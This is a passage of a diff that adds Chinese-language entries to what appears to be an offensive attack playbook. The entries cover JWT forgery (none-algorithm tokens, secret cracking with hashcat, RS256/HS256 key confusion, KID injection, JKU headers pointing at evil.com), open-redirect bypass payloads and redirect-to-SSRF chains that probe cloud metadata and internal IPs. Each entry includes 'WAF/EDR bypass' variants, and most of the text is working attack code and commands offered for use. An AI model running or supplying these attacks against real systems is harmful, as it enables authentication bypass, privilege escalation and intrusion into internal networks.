+ payload = {"user": "admin", "role": "admin", "iat": 1700000000, "exp": 1999999999}
1641
+
1642
+ h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
1643
+ p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=")
1644
+
1645
+ # 多种变体绕过:
1646
+ alg_variants = ["none", "None", "NONE", "nOnE"]
1647
+ for alg in alg_variants:
1648
+ header["alg"] = alg
1649
+ h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
1650
+ token = h.decode() + "." + p.decode() + "."
1651
+ print(f"alg={alg}: {token}")
1652
+
1653
+ # 使用jwt_tool:
1654
+ python3 jwt_tool.py <token> -X a # Algorithm None attack
1655
+ ```
1656
+
1657
+ **3. HS256密钥爆破** _[linux]_
1658
+ _对使用HS256对称加密的JWT进行密钥字典爆破_
1659
+ ```
1660
+ # 使用jwt_tool爆破弱密钥
1661
+ python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
1662
+
1663
+ # 使用hashcat:
1664
+ hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt
1665
+
1666
+ # 使用john:
1667
+ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
1668
+
1669
+ # 常见弱密钥:
1670
+ # secret, password, 123456, admin, key, test
1671
+ # 公司名, 项目名, 域名等
1672
+
1673
+ # 密钥确认后伪造JWT:
1674
+ import jwt
1675
+ token = jwt.encode({"user":"admin","role":"admin"}, "found_secret", algorithm="HS256")
1676
+ print(token)
1677
+ ```
1678
+
1679
+ **4. RS256→HS256算法混淆攻击** _[linux]_
1680
+ _利用RS256/HS256算法混淆,用公钥作为HS256对称密钥签名伪造JWT_
1681
+ ```
1682
+ # 当服务端使用RS256但接受HS256时:
1683
+ # 1. 获取服务端公钥(通常在/.well-known/jwks.json或/api/keys)
1684
+ curl -s "http://target.com/.well-known/jwks.json"
1685
+ curl -s "http://target.com/api/v1/keys"
1686
+
1687
+ # 2. 提取公钥
1688
+ openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem
1689
+
1690
+ # 3. 用公钥作为HS256的密钥签名JWT
1691
+ import jwt
1692
+ public_key = open("pubkey.pem").read()
1693
+ token = jwt.encode(
1694
+ {"user": "admin", "role": "admin"},
1695
+ public_key,
1696
+ algorithm="HS256"
1697
+ )
1698
+ print(token)
1699
+
1700
+ # 使用jwt_tool:
1701
+ python3 jwt_tool.py <token> -X k -pk pubkey.pem # Key confusion attack
1702
+ ```
1703
+
1704
+ **5. KID参数注入**
1705
+ _利用JWT头部kid字段的SQL注入或路径遍历控制签名验证密钥_
1706
+ ```
1707
+ # KID (Key ID) SQL注入:
1708
+ # 原始header: {"alg":"HS256","kid":"key1"}
1709
+ # 注入header: {"alg":"HS256","kid":"key1' UNION SELECT 'ATTACKER_SECRET' -- "}
1710
+
1711
+ import jwt, json, base64
1712
+
1713
+ # SQL注入方式:
1714
+ header = {"alg": "HS256", "kid": "x' UNION SELECT 'test' -- "}
1715
+ token = jwt.encode({"user": "admin"}, "test", algorithm="HS256", headers=header)
1716
+
1717
+ # 路径遍历方式:
1718
+ header2 = {"alg": "HS256", "kid": "../../dev/null"}
1719
+ # /dev/null内容为空,密钥为空字符串
1720
+ token2 = jwt.encode({"user": "admin"}, "", algorithm="HS256", headers=header2)
1721
+
1722
+ # 使用jwt_tool:
1723
+ python3 jwt_tool.py <token> -X i -I -hc kid -hv "../../dev/null" -S hs256 -p ""
1724
+ ```
1725
+
1726
+ **WAF/EDR 绕过变体:**
1727
+
1728
+ **1. JWK/JKU头部密钥注入**
1729
+ _通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点,使服务端使用攻击者控制的密钥验证签名_
1730
+ ```
1731
+ # JWK内嵌密钥注入:
1732
+ # 生成RSA密钥对:
1733
+ openssl genrsa -out attacker.key 2048
1734
+ openssl rsa -in attacker.key -pubout -out attacker.pub
1735
+
1736
+ # 构造JWT Header:
1737
+ {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"<attacker_n_base64>","e":"AQAB","use":"sig"}}
1738
+ # 用attacker.key签名,服务端从jwk字段取公钥验证
1739
+
1740
+ # JKU远程密钥注入:
1741
+ {"alg":"RS256","jku":"http://attacker.com/jwks.json"}
1742
+ # 在attacker.com上部署包含攻击者公钥的JWKS文件
1743
+
1744
+ # 使用jwt_tool:
1745
+ python3 jwt_tool.py <token> -X s -pr attacker.key
1746
+ ```
1747
+
1748
+ **2. 算法降级与嵌套令牌利用**
1749
+ _利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名),或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞_
1750
+ ```
1751
+ # 算法降级(RS256→HS256):
1752
+ # 获取服务端公钥后用作HS256密钥:
1753
+ openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem
1754
+ python3 -c "
1755
+ import jwt
1756
+ pub = open('pub.pem').read()
1757
+ token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256')
1758
+ print(token)"
1759
+
1760
+ # Claim篡改+嵌套JWT:
1761
+ # 在JWT payload中嵌入另一个JWT:
1762
+ {"user":"admin","inner_token":"<另一个伪造的JWT>"}
1763
+ # 某些系统会递归解析inner_token
1764
+ ```
1765
+
1766
+ ---
1767
+
1768
+ ### · JWT安全
1769
+
1770
+ ### JWT None算法攻击 `jwt-none-attack`
1771
+ 利用JWT库对"none"算法的支持缺陷,将JWT头部的签名算法修改为none后移除签名部分,构造无需密钥即可通过验证的伪造令牌。这是最经典的JWT漏洞之一。
1772
+ 子类:**算法攻击** · tags: `JWT` `none算法` `认证绕过` `令牌伪造` `CVE-2015-2951`
1773
+
1774
+ **前置条件:** 目标使用JWT进行身份认证;jwt_tool或Python PyJWT库
1775
+
1776
+ **攻击链:**
1777
+
1778
+ **1. 1. 解码现有JWT**
1779
+ _解析JWT的Header和Payload部分,识别算法和声明内容_
1780
+ ```
1781
+ # 解码JWT的三个部分
1782
+ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f1 | base64 -d
1783
+ # 输出: {"alg":"HS256","typ":"JWT"}
1784
+
1785
+ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f2 | base64 -d
1786
+ # 输出: {"user":"guest","role":"user"}
1787
+ ```
1788
+
1789
+ **2. 2. 构造None算法JWT**
1790
+ _Python脚本构造alg=none的伪造JWT,提权为admin_
1791
+ ```
1792
+ import base64, json
1793
+
1794
+ # 修改Header为none算法
1795
+ header = base64.urlsafe_b64encode(
1796
+ json.dumps({"alg":"none","typ":"JWT"}).encode()
1797
+ ).rstrip(b"=").decode()
1798
+
1799
+ # 修改Payload为admin
1800
+ payload = base64.urlsafe_b64encode(
1801
+ json.dumps({"user":"admin","role":"admin"}).encode()
1802
+ ).rstrip(b"=").decode()
1803
+
1804
+ # 签名为空
1805
+ forged_jwt = f"{header}.{payload}."
1806
+ print(forged_jwt)
1807
+ ```
1808
+
1809
+ **3. 3. jwt_tool自动攻击**
1810
+ _使用jwt_tool自动化测试none算法及其大小写变体_
1811
+ ```
1812
+ python3 jwt_tool.py {TOKEN} -X a
1813
+
1814
+ # -X a = 尝试none算法攻击
1815
+ # 同时测试多种none变体
1816
+ # none, None, NONE, nOnE, noNe
1817
+ ```
1818
+
1819
+ **4. 4. 验证伪造令牌**
1820
+ _使用伪造的JWT访问管理员接口验证攻击效果_
1821
+ ```
1822
+ curl -s -H "Authorization: Bearer {FORGED_JWT}" \
1823
+ "https://{TARGET}/api/admin/dashboard"
1824
+
1825
+ # 检查是否获得管理员权限
1826
+ # 200 OK = 攻击成功
1827
+ # 401/403 = 服务端正确拒绝none算法
1828
+ ```
1829
+
1830
+ **WAF/EDR 绕过变体:**
1831
+
1832
+ **1. none算法大小写变体**
1833
+ _使用none的各种大小写组合和不同签名占位绕过校验_
1834
+ ```
1835
+ # 各种none变体
1836
+ {"alg":"none"}
1837
+ {"alg":"None"}
1838
+ {"alg":"NONE"}
1839
+ {"alg":"nOnE"}
1840
+ {"alg":"noNe"}
1841
+ {"alg":"nONE"}
1842
+
1843
+ # 添加签名占位
1844
+ header.payload.
1845
+ header.payload.AA==
1846
+ header.payload.e30=
1847
+ ```
1848
+
1849
+ ---
1850
+
1851
+ ### JWT密钥混淆攻击(RS→HS) `jwt-key-confusion`
1852
+ 当服务端使用RSA公钥验证JWT时,攻击者将算法从RS256改为HS256,此时服务端会错误地使用RSA公钥作为HMAC密钥进行验证。由于RSA公钥是公开的,攻击者可用它签名任意JWT。
1853
+ 子类:**算法攻击** · tags: `JWT` `密钥混淆` `RS256` `HS256` `算法篡改`
1854
+
1855
+ **前置条件:** 目标JWT使用RS256/RS384/RS512算法;已获取RSA公钥;jwt_tool或Python
1856
+
1857
+ **攻击链:**
1858
+
1859
+ **1. 1. 获取RSA公钥**
1860
+ _从JWKS端点、API或SSL证书中获取RSA公钥_
1861
+ ```
1862
+ # 常见公钥泄露位置
1863
+ curl -s "https://{TARGET}/.well-known/jwks.json" | jq
1864
+ curl -s "https://{TARGET}/api/keys" | jq
1865
+ curl -s "https://{TARGET}/oauth/discovery" | jq
1866
+
1867
+ # 从JWKS中提取公钥
1868
+ # 或从SSL证书中获取
1869
+ openssl s_client -connect {TARGET}:443 | openssl x509 -pubkey -noout > pubkey.pem
1870
+ ```
1871
+
1872
+ **2. 2. 密钥混淆攻击**
1873
+ _Python脚本将RSA公钥作为HMAC密钥签名伪造JWT_
1874
+ ```
1875
+ import jwt
1876
+ import json
1877
+
1878
+ # 读取RSA公钥
1879
+ with open("pubkey.pem", "rb") as f:
1880
+ public_key = f.read()
1881
+
1882
+ # 用公钥作为HMAC密钥签名
1883
+ forged_payload = {
1884
+ "user": "admin",
1885
+ "role": "admin",
1886
+ "iat": 1707811200,
1887
+ "exp": 1999999999
1888
+ }
1889
+
1890
+ # 将算法从RS256切换为HS256
1891
+ forged_token = jwt.encode(
1892
+ forged_payload,
1893
+ public_key, # RSA公钥作为HMAC密钥
1894
+ algorithm="HS256" # 改为HMAC算法
1895
+ )
1896
+ print(forged_token)
1897
+ ```
1898
+
1899
+ **3. 3. jwt_tool自动攻击**
1900
+ _jwt_tool一键执行密钥混淆攻击_
1901
+ ```
1902
+ python3 jwt_tool.py {TOKEN} -X k -pk pubkey.pem
1903
+
1904
+ # -X k = 密钥混淆攻击模式
1905
+ # -pk = 指定公钥文件
1906
+ # 工具自动完成RS256→HS256切换和签名
1907
+ ```
1908
+
1909
+ **4. 4. JWKS端点注入**
1910
+ _JKU/X5U头注入使服务端从攻击者控制的URL获取验证密钥_
1911
+ ```
1912
+ # 如果支持jku/x5u头,可注入自定义JWKS端点
1913
+ Header: {
1914
+ "alg": "RS256",
1915
+ "typ": "JWT",
1916
+ "jku": "https://evil.com/.well-known/jwks.json"
1917
+ }
1918
+
1919
+ # 在evil.com上托管攻击者生成的JWKS
1920
+ # 服务端会从攻击者URL获取公钥进行验证
1921
+ openssl genrsa -out attacker_key.pem 2048
1922
+ openssl rsa -in attacker_key.pem -pubout > attacker_pub.pem
1923
+ ```
1924
+
1925
+ **WAF/EDR 绕过变体:**
1926
+
1927
+ **1. 多种公钥格式尝试**
1928
+ _某些JWT库对公钥格式处理不同,尝试多种格式_
1929
+ ```
1930
+ # PEM格式(标准)
1931
+ -----BEGIN PUBLIC KEY-----
1932
+ MIIBIjANBgkqh...
1933
+ -----END PUBLIC KEY-----
1934
+
1935
+ # DER格式(二进制)
1936
+ openssl rsa -pubin -in pubkey.pem -outform DER -out pubkey.der
1937
+
1938
+ # 带/不带换行符
1939
+ cat pubkey.pem | tr -d "\n" > pubkey_noline.pem
1940
+
1941
+ # 不同编码的公钥作为HMAC密钥
1942
+ ```
1943
+
1944
+ ---
1945
+
1946
+ ### JWT密钥爆破 `jwt-secret-bruteforce`
1947
+ 当JWT使用HMAC对称算法(HS256/HS384/HS512)且密钥为弱密码时,可通过字典或暴力破解还原签名密钥,进而伪造任意JWT令牌。
1948
+ 子类:**密钥破解** · tags: `JWT` `密钥爆破` `HS256` `弱密钥` `hashcat`
1949
+
1950
+ **前置条件:** 目标JWT使用HMAC算法(HS256等);已获取有效JWT样本;hashcat或jwt_tool
1951
+
1952
+ **攻击链:**
1953
+
1954
+ **1. 1. 确认算法和结构**
1955
+ _确认JWT使用HMAC对称算法,此类算法的密钥可被爆破_
1956
+ ```
1957
+ # 解码JWT Header
1958
+ echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
1959
+ # {"alg":"HS256"}
1960
+
1961
+ # 确认是HMAC对称算法才可爆破
1962
+ # HS256 / HS384 / HS512 = 可爆破
1963
+ # RS256 / ES256 = 不可直接爆破密钥
1964
+ ```
1965
+
1966
+ **2. 2. hashcat GPU加速爆破**
1967
+ _hashcat GPU加速破解JWT HMAC密钥_
1968
+ ```
1969
+ # hashcat模式16500 = JWT
1970
+ hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
1971
+
1972
+ # jwt.txt内容为完整的JWT字符串
1973
+ # eyJhbGci....signature
1974
+
1975
+ # 使用规则加速
1976
+ hashcat -m 16500 -a 0 jwt.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
1977
+
1978
+ # 掩码暴力破解(8位数字密钥)
1979
+ hashcat -m 16500 -a 3 jwt.txt ?d?d?d?d?d?d?d?d
1980
+ ```
1981
+
1982
+ **3. 3. jwt_tool字典爆破**
1983
+ _jwt_tool字典模式破解JWT密钥_
1984
+ ```
1985
+ python3 jwt_tool.py {TOKEN} -C -d /usr/share/wordlists/rockyou.txt
1986
+
1987
+ # -C = 开启字典破解模式
1988
+ # -d = 指定字典文件
1989
+ # 也支持常见弱密钥快速测试
1990
+ python3 jwt_tool.py {TOKEN} -C -d common_jwt_secrets.txt
1991
+ ```
1992
+
1993
+ **4. 4. 使用破解密钥伪造JWT**
1994
+ _使用破解出的密钥签名伪造管理员JWT_
1995
+ ```
1996
+ import jwt
1997
+
1998
+ secret = "cracked_secret_key"
1999
+
2000
+ forged = jwt.encode(
2001
+ {"user": "admin", "role": "superadmin", "exp": 1999999999},
2002
+ secret,
2003
+ algorithm="HS256"
2004
+ )
2005
+ print(f"Forged JWT: {forged}")
2006
+
2007
+ # 验证
2008
+ curl -H "Authorization: Bearer $FORGED_JWT" "https://{TARGET}/api/admin"
2009
+ ```
2010
+
2011
+ **WAF/EDR 绕过变体:**
2012
+
2013
+ **1. 常见默认JWT密钥**
2014
+ _优先尝试常见的默认/弱JWT密钥_
2015
+ ```
2016
+ # 常见弱密钥列表
2017
+ secret
2018
+ password
2019
+ 123456
2020
+ hs256-secret
2021
+ jwt-secret
2022
+ my-secret-key
2023
+ changeme
2024
+ default
2025
+ qwerty
2026
+ super-secret
2027
+ your-256-bit-secret
2028
+ secretkey
2029
+ token-secret
2030
+ application-secret
2031
+ ```
2032
+
2033
+ ---
2034
+
2035
+ ### JWT JKU/X5U头注入 `jwt-jku-x5u-injection`
2036
+ 利用JWT Header中的jku(JWK Set URL)或x5u(X.509 URL)参数,将密钥来源指向攻击者控制的服务器,使服务端使用攻击者的公钥验证JWT,从而实现令牌伪造。
2037
+ 子类:**Header注入** · tags: `JWT` `JKU` `X5U` `Header注入` `JWKS` `密钥劫持`
2038
+
2039
+ **前置条件:** 目标JWT支持jku/x5u Header参数;攻击者拥有公网服务器;Python环境
2040
+
2041
+ **攻击链:**
2042
+
2043
+ **1. 1. 探测JKU/X5U支持**
2044
+ _检查JWT是否使用jku/x5u头以及目标JWKS端点_
2045
+ ```
2046
+ # 解码JWT Header查看是否包含jku/x5u
2047
+ echo "{JWT_HEADER}" | base64 -d | jq # security-allowlist: SEC008
2048
+
2049
+ # 常见原始Header
2050
+ {"alg":"RS256","typ":"JWT","jku":"https://target.com/.well-known/jwks.json"}
2051
+
2052
+ # 检查JWKS端点
2053
+ curl -s "https://{TARGET}/.well-known/jwks.json" | jq
2054
+ curl -s "https://{TARGET}/.well-known/openid-configuration" | jq .jwks_uri
2055
+ ```
2056
+
2057
+ **2. 2. 生成攻击者密钥对**
2058
+ _生成攻击者的RSA密钥对并构造JWKS文件_
2059
+ ```
2060
+ from cryptography.hazmat.primitives.asymmetric import rsa
2061
+ from cryptography.hazmat.primitives import serialization
2062
+ import json, base64
2063
+
2064
+ # 生成RSA密钥对
2065
+ private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
2066
+ public_key = private_key.public_key()
2067
+
2068
+ # 导出PEM格式
2069
+ with open("attacker_private.pem", "wb") as f:
2070
+ f.write(private_key.private_bytes(
2071
+ serialization.Encoding.PEM,
2072
+ serialization.PrivateFormat.PKCS8,
2073
+ serialization.NoEncryption()
2074
+ ))
2075
+
2076
+ # 生成JWKS格式公钥
2077
+ numbers = public_key.public_numbers()
2078
+ jwks = {"keys": [{"kty": "RSA", "kid": "attacker-key-1",
2079
+ "n": base64.urlsafe_b64encode(numbers.n.to_bytes(256, "big")).rstrip(b"=").decode(),
2080
+ "e": base64.urlsafe_b64encode(numbers.e.to_bytes(3, "big")).rstrip(b"=").decode(),
2081
+ "use": "sig", "alg": "RS256"}]}
2082
+
2083
+ with open("jwks.json", "w") as f:
2084
+ json.dump(jwks, f)
2085
+ ```
2086
+
2087
+ **3. 3. 托管JWKS并签名JWT**
2088
+ _托管JWKS文件并用攻击者私钥签名JWT,jku指向攻击者服务器_
2089
+ ```
2090
+ # 在攻击者服务器托管jwks.json
2091
+ python3 -m http.server 8080
2092
+ # http://evil.com:8080/jwks.json
2093
+
2094
+ import jwt
2095
+
2096
+ # 用攻击者私钥签名
2097
+ with open("attacker_private.pem", "rb") as f:
2098
+ attacker_key = f.read()
2099
+
2100
+ forged = jwt.encode(
2101
+ {"user": "admin", "role": "admin", "exp": 1999999999},
2102
+ attacker_key,
2103
+ algorithm="RS256",
2104
+ headers={"jku": "http://evil.com:8080/jwks.json", "kid": "attacker-key-1"}
2105
+ )
2106
+ print(forged)
2107
+ ```
2108
+
2109
+ **4. 4. 验证攻击**
2110
+ _使用注入了jku的伪造JWT访问管理员接口_
2111
+ ```
2112
+ curl -s -H "Authorization: Bearer {FORGED_JWT}" \
2113
+ "https://{TARGET}/api/admin/users" | jq
2114
+
2115
+ # 服务端流程:
2116
+ # 1. 解析JWT Header中的jku URL
2117
+ # 2. 从evil.com获取JWKS公钥
2118
+ # 3. 用攻击者公钥验证签名——通过!
2119
+ # 4. 信任Payload中的admin身份
2120
+ ```
2121
+
2122
+ **WAF/EDR 绕过变体:**
2123
+
2124
+ **1. JKU URL绕过限制**
2125
+ _利用开放重定向、子域名接管、URL混淆绕过jku域名白名单_
2126
+ ```
2127
+ # 开放重定向绕过域名白名单
2128
+ {"jku": "https://target.com/redirect?url=https://evil.com/jwks.json"}
2129
+
2130
+ # 子域名接管
2131
+ {"jku": "https://abandoned.target.com/.well-known/jwks.json"}
2132
+
2133
+ # URL混淆
2134
+ {"jku": "https://target.com@evil.com/jwks.json"}
2135
+ {"jku": "https://evil.com#target.com/jwks.json"}
2136
+ {"jku": "https://evil.com/.well-known/jwks.json?.target.com"}
2137
+ ```
2138
+
2139
+ ---
2140
+
2141
+ ### · 开放重定向
2142
+
2143
+ ### 基础开放重定向 `redirect-basic`
2144
+ URL跳转漏洞利用
2145
+ 子类:**基础** · tags: `redirect` `url` `phishing`
2146
+
2147
+ **前置条件:** 目标参数控制跳转地址
2148
+
2149
+ **攻击链:**
2150
+
2151
+ **1. 直接跳转**
2152
+ _直接跳转到攻击者站点_
2153
+ ```
2154
+ http://target.com/redirect?url=http://attacker.com
2155
+ ```
2156
+
2157
+ **2. 绕过验证**
2158
+ _@符号绕过_
2159
+ ```
2160
+ http://target.com/redirect?url=http://attacker.com@target.com
2161
+ ```
2162
+
2163
+ **3. 斜杠绕过**
2164
+ _//绕过协议_
2165
+ ```
2166
+ http://target.com/redirect?url=//attacker.com
2167
+ ```
2168
+
2169
+ **WAF/EDR 绕过变体:**
2170
+
2171
+ **1. URL编码与双编码绕过**
2172
+ _通过URL编码、双重URL编码、Unicode同形字、CRLF注入等方式绕过跳转目标地址的白名单或黑名单检测_
2173
+ ```
2174
+ # URL编码:
2175
+ /redirect?url=%68%74%74%70%3a%2f%2fattacker.com
2176
+ # 双编码:
2177
+ /redirect?url=%2568%2574%2574%2570%253a%252f%252fattacker.com
2178
+ # Unicode编码:
2179
+ /redirect?url=http://attacker。com
2180
+ /redirect?url=http://ⓐttacker.com
2181
+ # CRLF注入:
2182
+ /redirect?url=%0d%0aLocation:%20http://attacker.com
2183
+ ```
2184
+
2185
+ **2. 反斜杠与data: URI绕过**
2186
+ _利用反斜杠在不同解析器中的差异行为、data: URI协议、多斜杠协议相对URL等方式绕过域名白名单验证_
2187
+ ```
2188
+ # 反斜杠技巧:
2189
+ /redirect?url=http://attacker.com@target.com
2190
+ /redirect?url=//attacker.com
2191
+ /redirect?url=/attacker.com
2192
+
2193
+ # data: URI:
2194
+ /redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
2195
+
2196
+ # 协议相对URL变体:
2197
+ /redirect?url=//attacker.com
2198
+ /redirect?url=///attacker.com
2199
+ /redirect?url=////attacker.com
2200
+ ```
2201
+
2202
+ ---
2203
+
2204
+ ### 重定向绕过 `redirect-bypass`
2205
+ 开放重定向绕过技巧
2206
+ 子类:**Bypass** · tags: `redirect` `bypass`
2207
+
2208
+ **前置条件:** 存在重定向参数
2209
+
2210
+ **攻击链:**
2211
+
2212
+ **1. URL编码**
2213
+ _使用URL编码_
2214
+ ```
2215
+ redirect=http%3a%2f%2fattacker.com
2216
+ ```
2217
+
2218
+ **2. @符号**
2219
+ _利用URL认证部分_
2220
+ ```
2221
+ redirect=http://target.com@attacker.com
2222
+ ```
2223
+
2224
+ **3. 反斜杠** _[windows]_
2225
+ _使用反斜杠_
2226
+ ```
2227
+ redirect=https:/\attacker.com
2228
+ ```
2229
+
2230
+ **WAF/EDR 绕过变体:**
2231
+
2232
+ **1. 反斜杠路径规范化**
2233
+ _利用反斜杠在不同浏览器/服务器中的路径规范化差异绕过重定向域名白名单_
2234
+ ```
2235
+ # 反斜杠替代正斜杠
2236
+ https://target.com/redirect?url=https://evil.com\@target.com
2237
+ https://target.com/redirect?url=https:\\evil.com
2238
+
2239
+ # 路径穿越绕过域名白名单
2240
+ https://target.com/redirect?url=https://target.com/..%2f@evil.com
2241
+ https://target.com/redirect?url=//evil.com/%2f..%2f
2242
+
2243
+ # 协议相对URL
2244
+ https://target.com/redirect?url=//evil.com
2245
+ https://target.com/redirect?url=\\evil.com
2246
+ ```
2247
+
2248
+ **2. URL片段与参数注入**
2249
+ _利用URL片段标识符、参数污染和完整URL编码绕过服务端的重定向目标检查_
2250
+ ```
2251
+ # 片段标识符混淆
2252
+ https://target.com/redirect?url=https://target.com#@evil.com
2253
+ https://target.com/redirect?url=https://target.com%23@evil.com
2254
+
2255
+ # 参数污染
2256
+ https://target.com/redirect?url=https://target.com&url=https://evil.com
2257
+ https://target.com/redirect?url=https://target.com%26next=evil.com
2258
+
2259
+ # 编码混淆
2260
+ https://target.com/redirect?url=https%3a%2f%2fevil.com
2261
+ https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
2262
+ ```
2263
+
2264
+ **3. 空字节与特殊字符截断**
2265
+ _利用空字节截断URL校验、CRLF注入额外头部、特殊空白字符混淆URL解析_
2266
+ ```
2267
+ # 空字节截断
2268
+ https://target.com/redirect?url=https://target.com%00@evil.com
2269
+ https://target.com/redirect?url=https://evil.com%00.target.com
2270
+
2271
+ # 换行符注入
2272
+ https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com
2273
+
2274
+ # Tab/空格混淆
2275
+ https://target.com/redirect?url=https://evil .com
2276
+ https://target.com/redirect?url=java%09script:alert(1)
2277
+ https://target.com/redirect?url=\x09javascript:alert(1)
2278
+ ```
2279
+
2280
+ ---
2281
+
2282
+ ### 重定向到SSRF `redirect-ssrf`
2283
+ 利用开放重定向漏洞作为跳板将SSRF探测引导到内部网络,绕过SSRF的URL白名单/黑名单限制
2284
+ 子类:**SSRF** · tags: `redirect` `ssrf`
2285
+
2286
+ **前置条件:** 目标存在开放重定向(Open Redirect)漏洞;目标存在SSRF功能点(URL参数/Webhook等);SSRF过滤仅检查初始URL而不跟踪重定向
2287
+
2288
+ **攻击链:**
2289
+
2290
+ **1. 识别开放重定向点** _[linux]_
2291
+ _寻找目标站点的开放重定向端点和参数_
2292
+ ```
2293
+ # 常见重定向参数:
2294
+ curl -sI "http://target.com/redirect?url=https://evil.com" | grep -i location
2295
+ curl -sI "http://target.com/login?next=https://evil.com" | grep -i location
2296
+ curl -sI "http://target.com/goto?link=https://evil.com" | grep -i location
2297
+
2298
+ # 批量测试常见参数:
2299
+ for param in url redirect next goto link return returnUrl callback dest destination rurl; do
2300
+ status=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" -o /dev/null -w "%{http_code}")
2301
+ location=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" | grep -i "^location:" | head -1)
2302
+ echo "${param}: HTTP ${status} → ${location}"
2303
+ done
2304
+ ```
2305
+
2306
+ **2. 通过重定向绕过SSRF过滤** _[linux]_
2307
+ _利用目标自身的重定向端点绕过SSRF的域名白名单限制_
2308
+ ```
2309
+ # 场景: SSRF接口检查URL域名白名单,但不检查重定向目标
2310
+
2311
+ # 正常SSRF请求(被拦截):
2312
+ curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
2313
+ # → 返回: "Blocked: internal IP"
2314
+
2315
+ # 通过重定向绕过:
2316
+ # 1. 先确认重定向有效:
2317
+ curl -sI "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
2318
+
2319
+ # 2. 将重定向URL作为SSRF输入:
2320
+ curl "http://target.com/api/fetch?url=http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
2321
+ # → SSRF过滤看到target.com(白名单内),放行
2322
+ # → 服务端跟随重定向到169.254.169.254
2323
+ # → 返回AWS元数据
2324
+ ```
2325
+
2326
+ **3. 短链接和DNS重绑定辅助**
2327
+ _使用短链接、自建重定向和DNS重绑定辅助SSRF绕过_
2328
+ ```
2329
+ # 如果目标站点没有开放重定向,使用外部服务:
2330
+
2331
+ # 1. 短链接服务重定向:
2332
+ # 创建短链接指向内部IP: bit.ly/xxxxx → http://192.168.1.1
2333
+ curl "http://target.com/api/fetch?url=https://bit.ly/xxxxx"
2334
+
2335
+ # 2. 自建重定向服务器:
2336
+ # Python Flask:
2337
+ # @app.route("/redirect")
2338
+ # def redir():
2339
+ # return redirect("http://169.254.169.254/latest/meta-data/")
2340
+ curl "http://target.com/api/fetch?url=http://attacker.com/redirect"
2341
+
2342
+ # 3. DNS重绑定:
2343
+ # 使用rbndr.us等工具,DNS记录在attacker-IP和内部IP之间切换
2344
+ # 第一次解析: attacker.com → 1.2.3.4 (通过IP检查)
2345
+ # 第二次解析: attacker.com → 169.254.169.254 (实际请求)
2346
+ curl "http://target.com/api/fetch?url=http://a]c0a80101.rbndr.us/"
2347
+ ```
2348
+
2349
+ **4. 完整利用链: 重定向→SSRF→内网探测**
2350
+ _利用重定向→SSRF链批量探测内部网络资源_
2351
+ ```
2352
+ # 完整攻击链:
2353
+ import requests
2354
+
2355
+ TARGET = "http://target.com"
2356
+ SSRF_URL = f"{TARGET}/api/fetch?url="
2357
+ REDIR_URL = f"{TARGET}/redirect?url="
2358
+
2359
+ # 通过重定向探测内网:
2360
+ internal_targets = [
2361
+ "http://169.254.169.254/latest/meta-data/",
2362
+ "http://127.0.0.1:8080/",
2363
+ "http://192.168.1.1/",
2364
+ "http://10.0.0.1/",
2365
+ "http://172.16.0.1/",
2366
+ ]
2367
+
2368
+ for internal in internal_targets:
2369
+ # 构造: SSRF → 重定向 → 内网目标
2370
+ payload = f"{SSRF_URL}{REDIR_URL}{internal}"
2371
+ try:
2372
+ r = requests.get(payload, timeout=5)
2373
+ if r.status_code == 200 and len(r.text) > 0:
2374
+ print(f"[+] FOUND: {internal}")
2375
+ print(f" Response: {r.text[:200]}")
2376
+ else:
2377
+ print(f"[-] {internal}: HTTP {r.status_code}")
2378
+ except Exception as e:
2379
+ print(f"[!] {internal}: {e}")
2380
+ ```
2381
+
2382
+ **WAF/EDR 绕过变体:**
2383
+
2384
+ **1. URL解析差异利用**
2385
+ _利用不同URL解析库(cURL/urllib/Java URL)对authority/host部分解析的差异绕过SSRF白名单_
2386
+ ```
2387
+ # 利用URL解析库差异
2388
+ http://evil.com#@target.com
2389
+ http://evil.com\@target.com
2390
+ http://target.com@evil.com
2391
+
2392
+ # 特殊URL格式
2393
+ http://evil。com (全角句号)
2394
+ http://ⓔⓥⓘⓛ.com (Unicode圆圈字符)
2395
+ http://evil%E3%80%82com
2396
+
2397
+ # IPv6地址混淆
2398
+ http://[::ffff:127.0.0.1]
2399
+ http://[0:0:0:0:0:ffff:127.0.0.1]
2400
+ ```
2401
+
2402
+ **2. DNS重绑定攻击**
2403
+ _通过DNS重绑定在URL校验和实际请求之间切换解析结果,绕过SSRF的IP黑名单_
2404
+ ```
2405
+ # DNS Rebinding攻击步骤
2406
+ # 1. 配置DNS服务器交替返回不同IP
2407
+ # evil.com -> 第1次解析: 公网IP(通过校验)
2408
+ # evil.com -> 第2次解析: 127.0.0.1(实际请求)
2409
+
